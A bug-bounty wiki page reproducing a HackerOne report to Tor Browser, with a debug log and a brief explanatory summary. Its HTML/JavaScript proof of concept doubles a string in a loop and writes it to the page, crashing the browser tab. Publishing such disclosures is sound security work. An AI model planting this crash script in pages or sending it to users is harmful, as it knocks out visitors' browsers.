Crashes/Buffer at 0x2C0086,name=PBrowser::Msg_Destroy
A web page that repeatedly doubles a string and writes it to the document causes the Tor Browser tab to crash. The reporter shows a debug-mode exception indicating a channel error between browser processes.
Originally disclosed on HackerOne
- Disclosed after 2 days
Hi Team,
Steps to Reproduce:
- Open Tor
- Navigate to string.html
Where string.html :
<script>
function tor()
{
var uristring = unescape("%u4141%u4141");
for(i=0; i <= 50 ; ++i)
{
uristring+=uristring;
document.write(uristring);
}
document.write(uristring);
}
</script>
</head>
<body onload="tor()">
</body>
- 'Gah! This tab has crashed.
However, running it to debug mode generates the below exception :
###!!! [Parent][MessageChannel] Error: (msgtype=0x2C0086,name=PBrowser::Msg_Destroy) Channel error: cannot send/recv
[Parent 23125] WARNING: waitpid failed pid:23182 errno:10: file /home/debian/build/tor-browser/ipc/chromium/src/base/process_util_posix.cc, line 268
Unable to update the static FcBlanks: 0x0600
Unable to update the static FcBlanks: 0x0601
Unable to update the static FcBlanks: 0x0602
Unable to update the static FcBlanks: 0x0603
Unable to update the static FcBlanks: 0x06dd
Unable to update the static FcBlanks: 0x070f
Unable to update the static FcBlanks: 0x2028
Unable to update the static FcBlanks: 0x2029
Unable to update the static FcBlanks: 0xfff9
Unable to update the static FcBlanks: 0xfffa
Unable to update the static FcBlanks: 0xfffb
[Parent 23125] WARNING: pipe error (58): Connection reset by peer: file /home/debian/build/tor-browser/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 322
[Parent 23125] WARNING: pipe error (54): Connection reset by peer: file /home/debian/build/tor-browser/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 322
###!!! [Parent][MessageChannel] Error: (msgtype=0x2C0086,name=PBrowser::Msg_Destroy) Channel error: cannot send/recv
[Parent 23125] WARNING: waitpid failed pid:23224 errno:10: file /home/debian/build/tor-browser/ipc/chromium/src/base/process_util_posix.cc, line 268
WFM in Debain attaching string.html and PoC for reference, request you to please have a look.
Regards Dhiraj
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a memory or resource exhaustion issue in the browser's handling of very large strings written to the document, but the text does not state the underlying cause.
What the attacker needed
Victim opens a malicious HTML page; Tor Browser
How it was found
- Open Tor Browser.
- Navigate to a local file named string.html.
- The page runs a script that repeatedly doubles a string and writes it to the document.
- The tab crashes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page can contain a script that makes a very long piece of text and writes it to the page many times. In this case, doing that made the Tor Browser tab crash. The report shows error messages from the browser's internal communication, but does not explain exactly why the crash happens.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.